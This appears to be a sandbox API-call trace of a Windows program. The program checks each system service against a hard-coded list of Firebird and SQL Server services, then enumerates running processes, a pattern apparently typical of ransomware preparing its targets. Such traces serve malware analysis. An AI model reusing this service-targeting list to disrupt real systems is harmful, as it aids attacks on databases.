	[0198.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0198.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0198.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0198.498] lstrlenW (lpString="lfsvc") returned 5
	[0198.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0198.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0198.498] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0198.498] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0198.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0198.498] lstrlenW (lpString="lmhosts") returned 7
	[0198.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0198.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0198.498] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0198.498] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0198.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0198.498] lstrlenW (lpString="LSM") returned 3
	[0198.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0198.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0198.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0198.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0198.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0198.498] lstrlenW (lpString="MpsSvc") returned 6
	[0198.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0198.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0198.498] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0198.498] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0198.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0198.498] lstrlenW (lpString="NcbService") returned 10
	[0198.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0198.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0198.499] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0198.499] lstrlenW (lpString="netprofm") returned 8
	[0198.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0198.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0198.499] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0198.499] lstrlenW (lpString="NgcSvc") returned 6
	[0198.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0198.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0198.499] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0198.499] lstrlenW (lpString="NlaSvc") returned 6
	[0198.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0198.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0198.499] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0198.499] lstrlenW (lpString="nsi") returned 3
	[0198.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0198.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0198.499] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0198.499] lstrlenW (lpString="PcaSvc") returned 6
	[0198.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0198.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0198.499] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0198.500] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0198.500] lstrlenW (lpString="PlugPlay") returned 8
	[0198.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0198.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0198.500] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0198.500] lstrlenW (lpString="Power") returned 5
	[0198.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0198.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0198.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0198.500] lstrlenW (lpString="ProfSvc") returned 7
	[0198.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0198.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0198.500] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0198.500] lstrlenW (lpString="RpcEptMapper") returned 12
	[0198.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0198.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0198.500] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0198.500] lstrlenW (lpString="RpcSs") returned 5
	[0198.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0198.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0198.500] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0198.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0198.501] lstrlenW (lpString="SamSs") returned 5
	[0198.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0198.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0198.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0198.501] lstrlenW (lpString="Schedule") returned 8
	[0198.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0198.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0198.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0198.501] lstrlenW (lpString="SecurityHealthService") returned 21
	[0198.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0198.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0198.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0198.501] lstrlenW (lpString="SENS") returned 4
	[0198.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0198.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0198.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0198.501] lstrlenW (lpString="ShellHWDetection") returned 16
	[0198.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0198.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0198.501] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0198.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0198.501] lstrlenW (lpString="Spooler") returned 7
	[0198.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0198.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0198.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0198.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0198.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0198.502] lstrlenW (lpString="StateRepository") returned 15
	[0198.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0198.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0198.502] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0198.502] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0198.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0198.502] lstrlenW (lpString="SysMain") returned 7
	[0198.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0198.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0198.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0198.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0198.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0198.502] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0198.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0198.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0198.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0198.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0198.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0198.502] lstrlenW (lpString="Themes") returned 6
	[0198.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0198.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0198.720] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0198.720] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0198.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0198.720] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0198.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0198.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0198.720] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0198.720] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0198.720] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x590
	[0198.726] Process32FirstW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0198.727] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0198.727] lstrlenW (lpString="System") returned 6
	[0198.728] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0198.728] lstrlenW (lpString="smss.exe") returned 8
	[0198.728] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0198.728] lstrlenW (lpString="csrss.exe") returned 9
	[0198.729] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0198.729] lstrlenW (lpString="wininit.exe") returned 11
	[0198.729] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0198.729] lstrlenW (lpString="csrss.exe") returned 9
	[0198.730] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0198.730] lstrlenW (lpString="winlogon.exe") returned 12
	[0198.730] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0198.731] lstrlenW (lpString="services.exe") returned 12
	[0198.731] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0198.731] lstrlenW (lpString="lsass.exe") returned 9
	[0198.731] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0198.732] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0198.732] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0198.732] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0198.732] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.733] lstrlenW (lpString="svchost.exe") returned 11
	[0198.733] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.733] lstrlenW (lpString="svchost.exe") returned 11
	[0198.733] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0198.734] lstrlenW (lpString="dwm.exe") returned 7
	[0198.734] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.734] lstrlenW (lpString="svchost.exe") returned 11
	[0198.734] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.735] lstrlenW (lpString="svchost.exe") returned 11
	[0198.735] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.735] lstrlenW (lpString="svchost.exe") returned 11
	[0198.735] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.736] lstrlenW (lpString="svchost.exe") returned 11
	[0198.736] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.736] lstrlenW (lpString="svchost.exe") returned 11
	[0198.736] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.737] lstrlenW (lpString="svchost.exe") returned 11
	[0198.737] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.737] lstrlenW (lpString="svchost.exe") returned 11
	[0198.738] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.738] lstrlenW (lpString="svchost.exe") returned 11
	[0198.738] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.738] lstrlenW (lpString="svchost.exe") returned 11
	[0198.739] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.740] lstrlenW (lpString="svchost.exe") returned 11
	[0198.740] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0198.740] lstrlenW (lpString="spoolsv.exe") returned 11
	[0198.740] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.741] lstrlenW (lpString="svchost.exe") returned 11
	[0198.741] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0198.741] lstrlenW (lpString="audiodg.exe") returned 11
	[0198.741] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0198.742] lstrlenW (lpString="sihost.exe") returned 10
	[0198.742] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.742] lstrlenW (lpString="svchost.exe") returned 11
	[0198.742] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0198.743] lstrlenW (lpString="taskhostw.exe") returned 13
	[0198.743] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0198.743] lstrlenW (lpString="msoia.exe") returned 9
	[0198.744] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0198.744] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0198.744] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0198.744] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0198.745] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0198.745] lstrlenW (lpString="Memory Compression") returned 18
	[0198.745] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0198.745] lstrlenW (lpString="explorer.exe") returned 12
	[0198.746] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0198.746] lstrlenW (lpString="SearchUI.exe") returned 12
	[0198.746] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0198.746] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
